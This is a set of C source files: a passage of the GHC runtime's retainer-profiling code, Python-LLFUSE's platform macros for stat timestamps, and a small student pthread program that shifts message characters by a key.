= srt->l.bitmap[b]; } else { bitmap = bitmap >> 1; } } } static INLINE void retainSRT (StgClosure **srt, nat srt_bitmap, StgClosure *c, retainer c_child_r) { nat bitmap; StgClosure **p; bitmap = srt_bitmap; p = srt; if (bitmap == (StgHalfWord)(-1)) { retain_large_srt_bitmap( (StgLargeSRT *)srt, c, c_child_r ); return; } while (bitmap != 0) { if ((bitmap & 1) != 0) { #if defined(COMPILING_WINDOWS_DLL) if ( (unsigned long)(*srt) & 0x1 ) { retainClosure(* (StgClosure**) ((unsigned long) (*srt) & ~0x1), c, c_child_r); } else { retainClosure(*srt,c,c_child_r); } #else retainClosure(*srt,c,c_child_r); #endif } p++; bitmap = bitmap >> 1; } } /* ----------------------------------------------------------------------------- * Process all the objects in the stack chunk from stackStart to stackEnd * with *c and *c_child_r being their parent and their most recent retainer, * respectively. Treat stackOptionalFun as another child of *c if it is * not NULL. * Invariants: * *c is one of the following: TSO, AP_STACK. * If *c is TSO, c == c_child_r. * stackStart < stackEnd. * RSET(c) and RSET(c_child_r) are valid, i.e., their * interpretation conforms to the current value of flip (even when they * are interpreted to be NULL). * If *c is TSO, its state is not ThreadComplete,or ThreadKilled, * which means that its stack is ready to process. * Note: * This code was almost plagiarzied from GC.c! For each pointer, * retainClosure() is invoked instead of evacuate(). * -------------------------------------------------------------------------- */ static void retainStack( StgClosure *c, retainer c_child_r, StgPtr stackStart, StgPtr stackEnd ) { stackElement *oldStackBoundary; StgPtr p; StgRetInfoTable *info; StgWord bitmap; nat size; #ifdef DEBUG_RETAINER cStackSize++; if (cStackSize > maxCStackSize) maxCStackSize = cStackSize; #endif /* Each invocation of retainStack() creates a new virtual stack. Since all such stacks share a single common stack, we record the current currentStackBoundary, which will be restored at the exit. */ oldStackBoundary = currentStackBoundary; currentStackBoundary = stackTop; #ifdef DEBUG_RETAINER // debugBelch("retainStack() called: oldStackBoundary = 0x%x, currentStackBoundary = 0x%x\n", oldStackBoundary, currentStackBoundary); #endif ASSERT(get_itbl(c)->type == STACK); p = stackStart; while (p < stackEnd) { info = get_ret_itbl((StgClosure *)p); switch(info->i.type) { case UPDATE_FRAME: retainClosure(((StgUpdateFrame *)p)->updatee, c, c_child_r); p += sizeofW(StgUpdateFrame); continue; case UNDERFLOW_FRAME: case STOP_FRAME: case CATCH_FRAME: case CATCH_STM_FRAME: case CATCH_RETRY_FRAME: case ATOMICALLY_FRAME: case RET_SMALL: bitmap = BITMAP_BITS(info->i.layout.bitmap); size = BITMAP_SIZE(info->i.layout.bitmap); p++; p = retain_small_bitmap(p, size, bitmap, c, c_child_r); follow_srt: retainSRT((StgClosure **)GET_SRT(info), info->i.srt_bitmap, c, c_child_r); continue; case RET_BCO: { StgBCO *bco; p++; retainClosure((StgClosure *)*p, c, c_child_r); bco = (StgBCO *)*p; p++; size = BCO_BITMAP_SIZE(bco); retain_large_bitmap(p, BCO_BITMAP(bco), size, c, c_child_r); p += size; continue; } // large bitmap (> 32 entries, or > 64 on a 64-bit machine) case RET_BIG: size = GET_LARGE_BITMAP(&info->i)->size; p++; retain_large_bitmap(p, GET_LARGE_BITMAP(&info->i), size, c, c_child_r); p += size; // and don't forget to follow the SRT goto follow_srt; case RET_FUN: { StgRetFun *ret_fun = (StgRetFun *)p; StgFunInfoTable *fun_info; retainClosure(ret_fun->fun, c, c_child_r); fun_info = get_fun_itbl(UNTAG_CLOSURE(ret_fun->fun)); p = (P_)&ret_fun->payload; switch (fun_info->f.fun_type) { case ARG_GEN: bitmap = BITMAP_BITS(fun_info->f.b.bitmap); size = BITMAP_SIZE(fun_info->f.b.bitmap); p = retain_small_bitmap(p, size, bitmap, c, c_child_r); break; case ARG_GEN_BIG: size = GET_FUN_LARGE_BITMAP(fun_info)->size; retain_large_bitmap(p, GET_FUN_LARGE_BITMAP(fun_info), size, c, c_child_r); p += size; break; default: bitmap = BITMAP_BITS(stg_arg_bitmaps[fun_info->f.fun_type]); size = BITMAP_SIZE(stg_arg_bitmaps[fun_info->f.fun_type]); p = retain_small_bitmap(p, size, bitmap, c, c_child_r); break; } goto follow_srt; } default: barf("Invalid object found in retainStack(): %d", (int)(info->i.type)); } } // restore currentStackBoundary currentStackBoundary = oldStackBoundary; #ifdef DEBUG_RETAINER // debugBelch("retainStack() finished: currentStackBoundary = 0x%x\n", currentStackBoundary); #endif #ifdef DEBUG_RETAINER cStackSize--; #endif } /* ---------------------------------------------------------------------------- * Call retainClosure for each of the children of a PAP/AP * ------------------------------------------------------------------------- */ static INLINE StgPtr retain_PAP_payload (StgClosure *pap, /* NOT tagged */ retainer c_child_r, /* NOT tagged */ StgClosure *fun, /* tagged */ StgClosure** payload, StgWord n_args) { StgPtr p; StgWord bitmap; StgFunInfoTable *fun_info; retainClosure(fun, pap, c_child_r); fun = UNTAG_CLOSURE(fun); fun_info = get_fun_itbl(fun); ASSERT(fun_info->i.type != PAP); p = (StgPtr)payload; switch (fun_info->f.fun_type) { case ARG_GEN: bitmap = BITMAP_BITS(fun_info->f.b.bitmap); p = retain_small_bitmap(p, n_args, bitmap, pap, c_child_r); break; case ARG_GEN_BIG: retain_large_bitmap(p, GET_FUN_LARGE_BITMAP(fun_info), n_args, pap, c_child_r); p += n_args; break; case ARG_BCO: retain_large_bitmap((StgPtr)payload, BCO_BITMAP(fun), n_args, pap, c_child_r); p += n_args; break; default: bitmap = BITMAP_BITS(stg_arg_bitmaps[fun_info->f.fun_type]); p = retain_small_bitmap(p, n_args, bitmap, pap, c_child_r); break; } return p; } /* ----------------------------------------------------------------------------- * Compute the retainer set of *c0 and all its desecents by traversing. * *cp0 is the parent of *c0, and *r0 is the most recent retainer of *c0. * Invariants: * c0 = cp0 = r0 holds only for root objects. * RSET(cp0) and RSET(r0) are valid, i.e., their * interpretation conforms to the current value of flip (even when they * are interpreted to be NULL). * However, RSET(c0) may be corrupt, i.e., it may not conform to * the current value of flip. If it does not, during the execution * of this function, RSET(c0) must be initialized as well as all * its descendants. * Note: * stackTop must be the same at the beginning and the exit of this function. * *c0 can be TSO (as well as AP_STACK). * -------------------------------------------------------------------------- */ static void retainClosure( StgClosure *c0, StgClosure *cp0, retainer r0 ) { // c = Current closure (possibly tagged) // cp = Current closure's Parent (NOT tagged) // r = current closures' most recent Retainer (NOT tagged) // c_child_r = current closure's children's most recent retainer // first_child = first child of c StgClosure *c, *cp, *first_child; RetainerSet *s, *retainerSetOfc; retainer r, c_child_r; StgWord typeOfc; #ifdef DEBUG_RETAINER // StgPtr oldStackTop; #endif #ifdef DEBUG_RETAINER // oldStackTop = stackTop; // debugBelch("retainClosure() called: c0 = 0x%x, cp0 = 0x%x, r0 = 0x%x\n", c0, cp0, r0); #endif // (c, cp, r) = (c0, cp0, r0) c = c0; cp = cp0; r = r0; goto inner_loop; loop: //debugBelch("loop"); // pop to (c, cp, r); pop(&c, &cp, &r); if (c == NULL) { #ifdef DEBUG_RETAINER // debugBelch("retainClosure() ends: oldStackTop = 0x%x, stackTop = 0x%x\n", oldStackTop, stackTop); #endif return; } //debugBelch("inner_loop"); inner_loop: c = UNTAG_CLOSURE(c); // c = current closure under consideration, // cp = current closure's parent, // r = current closure's most recent retainer // // Loop invariants (on the meaning of c, cp, r, and their retainer sets): // RSET(cp) and RSET(r) are valid. // RSET(c) is valid only if c has been visited before. // // Loop invariants (on the relation between c, cp, and r) // if cp is not a retainer, r belongs to RSET(cp). // if cp is a retainer, r == cp. typeOfc = get_itbl(c)->type; #ifdef DEBUG_RETAINER switch (typeOfc) { case IND_STATIC: case CONSTR_NOCAF_STATIC: case CONSTR_STATIC: case THUNK_STATIC: case FUN_STATIC: break; default: if (retainerSetOf(c) == NULL) { // first visit? costArray[typeOfc] += cost(c); sumOfNewCost += cost(c); } break; } #endif // special cases switch (typeOfc) { case TSO: if (((StgTSO *)c)->what_next == ThreadComplete || ((StgTSO *)c)->what_next == ThreadKilled) { #ifdef DEBUG_RETAINER debugBelch("ThreadComplete or ThreadKilled encountered in retainClosure()\n"); #endif goto loop; } break; case IND_STATIC: // We just skip IND_STATIC, so its retainer set is never computed. c = ((StgIndStatic *)c)->indirectee; goto inner_loop; // static objects with no pointers out, so goto loop. case CONSTR_NOCAF_STATIC: // It is not just enough not to compute the retainer set for *c; it is // mandatory because CONSTR_NOCAF_STATIC are not reachable from // scavenged_static_objects, the list from which is assumed to traverse // all static objects after major garbage collections. goto loop; case THUNK_STATIC: case FUN_STATIC: if (get_itbl(c)->srt_bitmap == 0) { // No need to compute the retainer set; no dynamic objects // are reachable from *c. // // Static objects: if we traverse all the live closures, // including static closures, during each heap census then // we will observe that some static closures appear and // disappear. eg. a closure may contain a pointer to a // static function 'f' which is not otherwise reachable // (it doesn't indirectly point to any CAFs, so it doesn't // appear in any SRTs), so we would find 'f' during // traversal. However on the next sweep there may be no // closures pointing to 'f'. // // We must therefore ignore static closures whose SRT is // empty, because these are exactly the closures that may // "appear". A closure with a non-empty SRT, and which is // still required, will always be reachable. // // But what about CONSTR_STATIC? Surely these may be able // to appear, and they don't have SRTs, so we can't // check. So for now, we're calling // resetStaticObjectForRetainerProfiling() from the // garbage collector to reset the retainer sets in all the // reachable static objects. goto loop; } default: break; } // The above objects are ignored in computing the average number of times // an object is visited. timesAnyObjectVisited++; // If this is the first visit to c, initialize its retainer set. maybeInitRetainerSet(c); retainerSetOfc = retainerSetOf(c); // Now compute s: // isRetainer(cp) == rtsTrue => s == NULL // isRetainer(cp) == rtsFalse => s == cp.retainer if (isRetainer(cp)) s = NULL; else s = retainerSetOf(cp); // (c, cp, r, s) is available. // (c, cp, r, s, R_r) is available, so compute the retainer set for *c. if (retainerSetOfc == NULL) { // This is the first visit to *c. numObjectVisited++; if (s == NULL) associate(c, singleton(r)); else // s is actually the retainer set of *c! associate(c, s); // compute c_child_r c_child_r = isRetainer(c) ? getRetainerFrom(c) : r; } else { // This is not the first visit to *c. if (isMember(r, retainerSetOfc)) goto loop; // no need to process child if (s == NULL) associate(c, addElement(r, retainerSetOfc)); else { // s is not NULL and cp is not a retainer. This means that // each time *cp is visited, so is *c. Thus, if s has // exactly one more element in its retainer set than c, s // is also the new retainer set for *c. if (s->num == retainerSetOfc->num + 1) { associate(c, s); } // Otherwise, just add R_r to the current retainer set of *c. else { associate(c, addElement(r, retainerSetOfc)); } } if (isRetainer(c)) goto loop; // no need to process child // compute c_child_r c_child_r = r; } // now, RSET() of all of *c, *cp, and *r is valid. // (c, c_child_r) are available. // process child // Special case closures: we process these all in one go rather // than attempting to save the current position, because doing so // would be hard. switch (typeOfc) { case STACK: retainStack(c, c_child_r, ((StgStack *)c)->sp, ((StgStack *)c)->stack + ((StgStack *)c)->stack_size); goto loop; case TSO: { StgTSO *tso = (StgTSO *)c; retainClosure(tso->stackobj, c, c_child_r); retainClosure(tso->blocked_exceptions, c, c_child_r); retainClosure(tso->bq, c, c_child_r); retainClosure(tso->trec, c, c_child_r); if ( tso->why_blocked == BlockedOnMVar || tso->why_blocked == BlockedOnMVarRead || tso->why_blocked == BlockedOnBlackHole || tso->why_blocked == BlockedOnMsgThrowTo ) { retainClosure(tso->block_info.closure, c, c_child_r); } goto loop; } case PAP: { StgPAP *pap = (StgPAP *)c; retain_PAP_payload(c, c_child_r, pap->fun, pap->payload, pap->n_args); goto loop; } case AP: { StgAP *ap = (StgAP *)c; retain_PAP_payload(c, c_child_r, ap->fun, ap->payload, ap->n_args); goto loop; } case AP_STACK: retainClosure(((StgAP_STACK *)c)->fun, c, c_child_r); retainStack(c, c_child_r, (StgPtr)((StgAP_STACK *)c)->payload, (StgPtr)((StgAP_STACK *)c)->payload + ((StgAP_STACK *)c)->size); goto loop; } push(c, c_child_r, &first_child); // If first_child is null, c has no child. // If first_child is not null, the top stack element points to the next // object. push() may or may not push a stackElement on the stack. if (first_child == NULL) goto loop; // (c, cp, r) = (first_child, c, c_child_r) r = c_child_r; cp = c; c = first_child; goto inner_loop; } /* ----------------------------------------------------------------------------- * Compute the retainer set for every object reachable from *tl. * -------------------------------------------------------------------------- */ static void retainRoot(void *user STG_UNUSED, StgClosure **tl) { StgClosure *c; // We no longer assume that only TSOs and WEAKs are roots; any closure can // be a root. ASSERT(isEmptyRetainerStack()); currentStackBoundary = stackTop; c = UNTAG_CLOSURE(*tl); maybeInitRetainerSet(c); if (c != &stg_END_TSO_QUEUE_closure && isRetainer(c)) { retainClosure(c, c, getRetainerFrom(c)); } else { retainClosure(c, c, CCS_SYSTEM); } // NOT TRUE: ASSERT(isMember(getRetainerFrom(*tl), retainerSetOf(*tl))); // *tl might be a TSO which is ThreadComplete, in which // case we ignore it for the purposes of retainer profiling. } /* ----------------------------------------------------------------------------- * Compute the retainer set for each of the objects in the heap. * -------------------------------------------------------------------------- */ static void computeRetainerSet( void ) { StgWeak *weak; RetainerSet *rtl; nat g, n; StgPtr ml; bdescr *bd; #ifdef DEBUG_RETAINER RetainerSet tmpRetainerSet; #endif markCapabilities(retainRoot, NULL); // for scheduler roots // This function is called after a major GC, when key, value, and finalizer // all are guaranteed to be valid, or reachable. // // The following code assumes that WEAK objects are considered to be roots // for retainer profilng. for (n = 0; n < n_capabilities; n++) { // NB: after a GC, all nursery weak_ptr_lists have been migrated // to the global lists living in the generations ASSERT(capabilities[n]->weak_ptr_list_hd == NULL); ASSERT(capabilities[n]->weak_ptr_list_tl == NULL); } for (g = 0; g < RtsFlags.GcFlags.generations; g++) { for (weak = generations[g].weak_ptr_list; weak != NULL; weak = weak->link) { // retainRoot((StgClosure *)weak); retainRoot(NULL, (StgClosure **)&weak); } } // Consider roots from the stable ptr table. markStableTables(retainRoot, NULL); // The following code resets the rs field of each unvisited mutable // object (computing sumOfNewCostExtra and updating costArray[] when // debugging retainer profiler). for (g = 0; g < RtsFlags.GcFlags.generations; g++) { // NOT TRUE: even G0 has a block on its mutable list // ASSERT(g != 0 || (generations[g].mut_list == NULL)); // Traversing through mut_list is necessary // because we can find MUT_VAR objects which have not been // visited during retainer profiling. for (n = 0; n < n_capabilities; n++) { for (bd = capabilities[n]->mut_lists[g]; bd != NULL; bd = bd->link) { for (ml = bd->start; ml < bd->free; ml++) { maybeInitRetainerSet((StgClosure *)*ml); rtl = retainerSetOf((StgClosure *)*ml); #ifdef DEBUG_RETAINER if (rtl == NULL) { // first visit to *ml // This is a violation of the interface rule! RSET(ml) = (RetainerSet *)((StgWord)(&tmpRetainerSet) | flip); switch (get_itbl((StgClosure *)ml)->type) { case IND_STATIC: // no cost involved break; case CONSTR_NOCAF_STATIC: case CONSTR_STATIC: case THUNK_STATIC: case FUN_STATIC: barf("Invalid object in computeRetainerSet(): %d", get_itbl((StgClosure*)ml)->type); break; default: // dynamic objects costArray[get_itbl((StgClosure *)ml)->type] += cost((StgClosure *)ml); sumOfNewCostExtra += cost((StgClosure *)ml); break; } } #endif } } } } } /* ----------------------------------------------------------------------------- * Traverse all static objects for which we compute retainer sets, * and reset their rs fields to NULL, which is accomplished by * invoking maybeInitRetainerSet(). This function must be called * before zeroing all objects reachable from scavenged_static_objects * in the case of major gabage collections. See GarbageCollect() in * GC.c. * Note: * The mut_once_list of the oldest generation must also be traversed? * Why? Because if the evacuation of an object pointed to by a static * indirection object fails, it is put back to the mut_once_list of * the oldest generation. * However, this is not necessary because any static indirection objects * are just traversed through to reach dynamic objects. In other words, * they are not taken into consideration in computing retainer sets. * * SDM (20/7/2011): I don't think this is doing anything sensible, * because it happens before retainerProfile() and at the beginning of * retainerProfil() we change the sense of 'flip'. So all of the * calls to maybeInitRetainerSet() here are initialising retainer sets * with the wrong flip. Also, I don't see why this is necessary. I * added a maybeInitRetainerSet() call to retainRoot(), and that seems * to have fixed the assertion failure in retainerSetOf() I was * encountering. * -------------------------------------------------------------------------- */ void resetStaticObjectForRetainerProfiling( StgClosure *static_objects ) { #ifdef DEBUG_RETAINER nat count; #endif StgClosure *p; #ifdef DEBUG_RETAINER count = 0; #endif p = static_objects; while (p != END_OF_STATIC_LIST) { #ifdef DEBUG_RETAINER count++; #endif switch (get_itbl(p)->type) { case IND_STATIC: // Since we do not compute the retainer set of any // IND_STATIC object, we don't have to reset its retainer // field. p = (StgClosure*)*IND_STATIC_LINK(p); break; case THUNK_STATIC: maybeInitRetainerSet(p); p = (StgClosure*)*THUNK_STATIC_LINK(p); break; case FUN_STATIC: maybeInitRetainerSet(p); p = (StgClosure*)*FUN_STATIC_LINK(p); break; case CONSTR_STATIC: maybeInitRetainerSet(p); p = (StgClosure*)*STATIC_LINK(get_itbl(p), p); break; default: barf("resetStaticObjectForRetainerProfiling: %p (%s)", p, get_itbl(p)->type); break; } } #ifdef DEBUG_RETAINER // debugBelch("count in scavenged_static_objects = %d\n", count); #endif } /* ----------------------------------------------------------------------------- * Perform retainer profiling. * N is the oldest generation being profilied, where the generations are * numbered starting at 0. * Invariants: * Note: * This function should be called only immediately after major garbage * collection. * ------------------------------------------------------------------------- */ void retainerProfile(void) { #ifdef DEBUG_RETAINER nat i; nat totalHeapSize; // total raw heap size (computed by linear scanning) #endif #ifdef DEBUG_RETAINER debugBelch(" < retainerProfile() invoked : %d>\n", retainerGeneration); #endif stat_startRP(); // We haven't flipped the bit yet. #ifdef DEBUG_RETAINER debugBelch("Before traversing:\n"); sumOfCostLinear = 0; for (i = 0;i < N_CLOSURE_TYPES; i++) costArrayLinear[i] = 0; totalHeapSize = checkHeapSanityForRetainerProfiling(); debugBelch("\tsumOfCostLinear = %d, totalHeapSize = %d\n", sumOfCostLinear, totalHeapSize); /* debugBelch("costArrayLinear[] = "); for (i = 0;i < N_CLOSURE_TYPES; i++) debugBelch("[%u:%u] ", i, costArrayLinear[i]); debugBelch("\n"); */ ASSERT(sumOfCostLinear == totalHeapSize); /* #define pcostArrayLinear(index) \ if (costArrayLinear[index] > 0) \ debugBelch("costArrayLinear[" #index "] = %u\n", costArrayLinear[index]) pcostArrayLinear(THUNK_STATIC); pcostArrayLinear(FUN_STATIC); pcostArrayLinear(CONSTR_STATIC); pcostArrayLinear(CONSTR_NOCAF_STATIC); */ #endif // Now we flips flip. flip = flip ^ 1; #ifdef DEBUG_RETAINER stackSize = 0; maxStackSize = 0; cStackSize = 0; maxCStackSize = 0; #endif numObjectVisited = 0; timesAnyObjectVisited = 0; #ifdef DEBUG_RETAINER debugBelch("During traversing:\n"); sumOfNewCost = 0; sumOfNewCostExtra = 0; for (i = 0;i < N_CLOSURE_TYPES; i++) costArray[i] = 0; #endif /* We initialize the traverse stack each time the retainer profiling is performed (because the traverse stack size varies on each retainer profiling and this operation is not costly anyhow). However, we just refresh the retainer sets. */ initializeTraverseStack(); #ifdef DEBUG_RETAINER initializeAllRetainerSet(); #else refreshAllRetainerSet(); #endif computeRetainerSet(); #ifdef DEBUG_RETAINER debugBelch("After traversing:\n"); sumOfCostLinear = 0; for (i = 0;i < N_CLOSURE_TYPES; i++) costArrayLinear[i] = 0; totalHeapSize = checkHeapSanityForRetainerProfiling(); debugBelch("\tsumOfCostLinear = %d, totalHeapSize = %d\n", sumOfCostLinear, totalHeapSize); ASSERT(sumOfCostLinear == totalHeapSize); // now, compare the two results /* Note: costArray[] must be exactly the same as costArrayLinear[]. Known exceptions: 1) Dead weak pointers, whose type is CONSTR. These objects are not reachable from any roots. */ debugBelch("Comparison:\n"); debugBelch("\tcostArrayLinear[] (must be empty) = "); for (i = 0;i < N_CLOSURE_TYPES; i++) if (costArray[i] != costArrayLinear[i]) // nothing should be printed except MUT_VAR after major GCs debugBelch("[%u:%u] ", i, costArrayLinear[i]); debugBelch("\n"); debugBelch("\tsumOfNewCost = %u\n", sumOfNewCost); debugBelch("\tsumOfNewCostExtra = %u\n", sumOfNewCostExtra); debugBelch("\tcostArray[] (must be empty) = "); for (i = 0;i < N_CLOSURE_TYPES; i++) if (costArray[i] != costArrayLinear[i]) // nothing should be printed except MUT_VAR after major GCs debugBelch("[%u:%u] ", i, costArray[i]); debugBelch("\n"); // only for major garbage collection ASSERT(sumOfNewCost + sumOfNewCostExtra == sumOfCostLinear); #endif // post-processing closeTraverseStack(); #ifdef DEBUG_RETAINER closeAllRetainerSet(); #else // Note that there is no post-processing for the retainer sets. #endif retainerGeneration++; stat_endRP( retainerGeneration - 1, // retainerGeneration has just been incremented! #ifdef DEBUG_RETAINER maxCStackSize, maxStackSize, #endif (double)timesAnyObjectVisited / numObjectVisited); } /* ----------------------------------------------------------------------------- * DEBUGGING CODE * -------------------------------------------------------------------------- */ #ifdef DEBUG_RETAINER #define LOOKS_LIKE_PTR(r) ((LOOKS_LIKE_STATIC_CLOSURE(r) || \ ((HEAP_ALLOCED(r) && ((Bdescr((P_)r)->flags & BF_FREE) == 0)))) && \ ((StgWord)(*(StgPtr)r)!=0xaaaaaaaa)) static nat sanityCheckHeapClosure( StgClosure *c ) { StgInfoTable *info; ASSERT(LOOKS_LIKE_GHC_INFO(c->header.info)); ASSERT(!closure_STATIC(c)); ASSERT(LOOKS_LIKE_PTR(c)); if ((((StgWord)RSET(c) & 1) ^ flip) != 0) { if (get_itbl(c)->type == CONSTR && !strcmp(GET_PROF_TYPE(get_itbl(c)), "DEAD_WEAK") && !strcmp(GET_PROF_DESC(get_itbl(c)), "DEAD_WEAK")) { debugBelch("\tUnvisited dead weak pointer object found: c = %p\n", c); costArray[get_itbl(c)->type] += cost(c); sumOfNewCost += cost(c); } else debugBelch( "Unvisited object: flip = %d, c = %p(%d, %s, %s), rs = %p\n", flip, c, get_itbl(c)->type, get_itbl(c)->prof.closure_type, GET_PROF_DESC(get_itbl(c)), RSET(c)); } else { // debugBelch("sanityCheckHeapClosure) S: flip = %d, c = %p(%d), rs = %p\n", flip, c, get_itbl(c)->type, RSET(c)); } return closure_sizeW(c); } static nat heapCheck( bdescr *bd ) { StgPtr p; static nat costSum, size; costSum = 0; while (bd != NULL) { p = bd->start; while (p < bd->free) { size = sanityCheckHeapClosure((StgClosure *)p); sumOfCostLinear += size; costArrayLinear[get_itbl((StgClosure *)p)->type] += size; p += size; // no need for slop check; I think slops are not used currently. } ASSERT(p == bd->free); costSum += bd->free - bd->start; bd = bd->link; } return costSum; } static nat smallObjectPoolCheck(void) { bdescr *bd; StgPtr p; static nat costSum, size; bd = g0s0->blocks; costSum = 0; // first block if (bd == NULL) return costSum; p = bd->start; while (p < alloc_Hp) { size = sanityCheckHeapClosure((StgClosure *)p); sumOfCostLinear += size; costArrayLinear[get_itbl((StgClosure *)p)->type] += size; p += size; } ASSERT(p == alloc_Hp); costSum += alloc_Hp - bd->start; bd = bd->link; while (bd != NULL) { p = bd->start; while (p < bd->free) { size = sanityCheckHeapClosure((StgClosure *)p); sumOfCostLinear += size; costArrayLinear[get_itbl((StgClosure *)p)->type] += size; p += size; } ASSERT(p == bd->free); costSum += bd->free - bd->start; bd = bd->link; } return costSum; } static nat chainCheck(bdescr *bd) { nat costSum, size; costSum = 0; while (bd != NULL) { // bd->free - bd->start is not an accurate measurement of the // object size. Actually it is always zero, so we compute its // size explicitly. size = sanityCheckHeapClosure((StgClosure *)bd->start); sumOfCostLinear += size; costArrayLinear[get_itbl((StgClosure *)bd->start)->type] += size; costSum += size; bd = bd->link; } return costSum; } static nat checkHeapSanityForRetainerProfiling( void ) { nat costSum, g, s; costSum = 0; debugBelch("START: sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); if (RtsFlags.GcFlags.generations == 1) { costSum += heapCheck(g0s0->to_blocks); debugBelch("heapCheck: sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); costSum += chainCheck(g0s0->large_objects); debugBelch("chainCheck: sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); } else { for (g = 0; g < RtsFlags.GcFlags.generations; g++) for (s = 0; s < generations[g].n_steps; s++) { /* After all live objects have been scavenged, the garbage collector may create some objects in scheduleFinalizers(). These objects are created throught allocate(), so the small object pool or the large object pool of the g0s0 may not be empty. */ if (g == 0 && s == 0) { costSum += smallObjectPoolCheck(); debugBelch("smallObjectPoolCheck(): sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); costSum += chainCheck(generations[g].steps[s].large_objects); debugBelch("chainCheck(): sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); } else { costSum += heapCheck(generations[g].steps[s].blocks); debugBelch("heapCheck(): sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); costSum += chainCheck(generations[g].steps[s].large_objects); debugBelch("chainCheck(): sumOfCostLinear = %d, costSum = %d\n", sumOfCostLinear, costSum); } } } return costSum; } void findPointer(StgPtr p) { StgPtr q, r, e; bdescr *bd; nat g, s; for (g = 0; g < RtsFlags.GcFlags.generations; g++) { for (s = 0; s < generations[g].n_steps; s++) { // if (g == 0 && s == 0) continue; bd = generations[g].steps[s].blocks; for (; bd; bd = bd->link) { for (q = bd->start; q < bd->free; q++) { if (*q == (StgWord)p) { r = q; while (!LOOKS_LIKE_GHC_INFO(*r)) r--; debugBelch("Found in gen[%d], step[%d]: q = %p, r = %p\n", g, s, q, r); // return; } } } bd = generations[g].steps[s].large_objects; for (; bd; bd = bd->link) { e = bd->start + cost((StgClosure *)bd->start); for (q = bd->start; q < e; q++) { if (*q == (StgWord)p) { r = q; while (*r == 0 || !LOOKS_LIKE_GHC_INFO(*r)) r--; debugBelch("Found in gen[%d], large_objects: %p\n", g, r); // return; } } } } } } static void belongToHeap(StgPtr p) { bdescr *bd; nat g, s; for (g = 0; g < RtsFlags.GcFlags.generations; g++) { for (s = 0; s < generations[g].n_steps; s++) { // if (g == 0 && s == 0) continue; bd = generations[g].steps[s].blocks; for (; bd; bd = bd->link) { if (bd->start <= p && p < bd->free) { debugBelch("Belongs to gen[%d], step[%d]", g, s); return; } } bd = generations[g].steps[s].large_objects; for (; bd; bd = bd->link) { if (bd->start <= p && p < bd->start + getHeapClosureSize((StgClosure *)bd->start)) { debugBelch("Found in gen[%d], large_objects: %p\n", g, bd->start); return; } } } } } #endif /* DEBUG_RETAINER */ #endif /* PROFILING */ // Local Variables: // mode: C // fill-column: 80 // indent-tabs-mode: nil // c-basic-offset: 4 // buffer-file-coding-system: utf-8-unix // End:
the_stack_data/178264336.c
/* macros.c - Pre-processor macros Copyright © 2013 Nikolaus Rath <Nikolaus.org> This file is part of Python-LLFUSE. This work may be distributed under the terms of the GNU LGPL. */ /* * Macros to access the nanosecond attributes in struct stat in a * platform independent way. Stolen from fuse_misc.h. */ #if PLATFORM == PLATFORM_LINUX #define GET_ATIME_NS(stbuf) ((stbuf)->st_atim.tv_nsec) #define GET_CTIME_NS(stbuf) ((stbuf)->st_ctim.tv_nsec) #define GET_MTIME_NS(stbuf) ((stbuf)->st_mtim.tv_nsec) #define SET_ATIME_NS(stbuf, val) (stbuf)->st_atim.tv_nsec = (val) #define SET_CTIME_NS(stbuf, val) (stbuf)->st_ctim.tv_nsec = (val) #define SET_MTIME_NS(stbuf, val) (stbuf)->st_mtim.tv_nsec = (val) #define GET_BIRTHTIME_NS(stbuf) (0) #define GET_BIRTHTIME(stbuf) (0) #define SET_BIRTHTIME_NS(stbuf, val) do {} while (0) #define SET_BIRTHTIME(stbuf, val) do {} while (0) /* BSD and OS-X */ #else #define GET_BIRTHTIME(stbuf) ((stbuf)->st_birthtime) #define SET_BIRTHTIME(stbuf, val) ((stbuf)->st_birthtime = (val)) #define GET_ATIME_NS(stbuf) ((stbuf)->st_atimespec.tv_nsec) #define GET_CTIME_NS(stbuf) ((stbuf)->st_ctimespec.tv_nsec) #define GET_MTIME_NS(stbuf) ((stbuf)->st_mtimespec.tv_nsec) #define GET_BIRTHTIME_NS(stbuf) ((stbuf)->st_birthtimespec.tv_nsec) #define SET_ATIME_NS(stbuf, val) ((stbuf)->st_atimespec.tv_nsec = (val)) #define SET_CTIME_NS(stbuf, val) ((stbuf)->st_ctimespec.tv_nsec = (val)) #define SET_MTIME_NS(stbuf, val) ((stbuf)->st_mtimespec.tv_nsec = (val)) #define SET_BIRTHTIME_NS(stbuf, val) ((stbuf)->st_birthtimespec.tv_nsec = (val)) #endif #if PLATFORM == PLATFORM_LINUX || PLATFORM == PLATFORM_BSD #define ASSIGN_DARWIN(x,y) #define ASSIGN_NOT_DARWIN(x,y) ((x) = (y)) #elif PLATFORM == PLATFORM_DARWIN #define ASSIGN_DARWIN(x,y) ((x) = (y)) #define ASSIGN_NOT_DARWIN(x,y) #else #error This should not happen #endif /* * Constants */ #define NOTIFY_INVAL_INODE 1 #define NOTIFY_INVAL_ENTRY 2
the_stack_data/1174035.c
// // Created by Fatimah Aljaafari on 14/06/2020. // Copyright © 2020 Fatimah Aljaafari. All rights reserved. // #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <math.h> #define size 100 char Message[size]; int key, key1; pthread_mutex_t mutex; void *client( void * arg) //void pointer to pass any data type and returen any data type from thread function { pthread_mutex_lock(&mutex); for(int i = 0; (i < size && Message[i] != '\0'); i++) Message[i] = Message[i] + key1; printf("\nyour Encrypted Message is: %s\n", Message); pthread_mutex_unlock(&mutex); pthread_exit(0); } void *server(void *arg) { pthread_mutex_lock(&mutex); for(int i = 0; (i < size && Message[i] != '\0'); i++) // the decrypted message Message[i] = Message[i] - key1; printf("\n Your decrypted Message is : %s \n", Message); pthread_mutex_unlock(&mutex); pthread_exit(0); } int main() { printf("\n Please enter your message\n"); fgets(Message, sizeof(Message), stdin); printf("\nEnter the key\n"); scanf("%d", &key); key1 = (sqrt(key)); printf("The key is %d", key1); pthread_t encryption, decryption; pthread_create(&decryption, 0, server, 0); pthread_create(&encryption, 0, client, 0); pthread_join(encryption, 0); pthread_join(decryption, 0); assert(pthread_equal(encryption, encryption)); assert(pthread_equal(decryption, decryption)); printf("\n Thanks for using our program \n"); }
the_stack_data/175143582.c
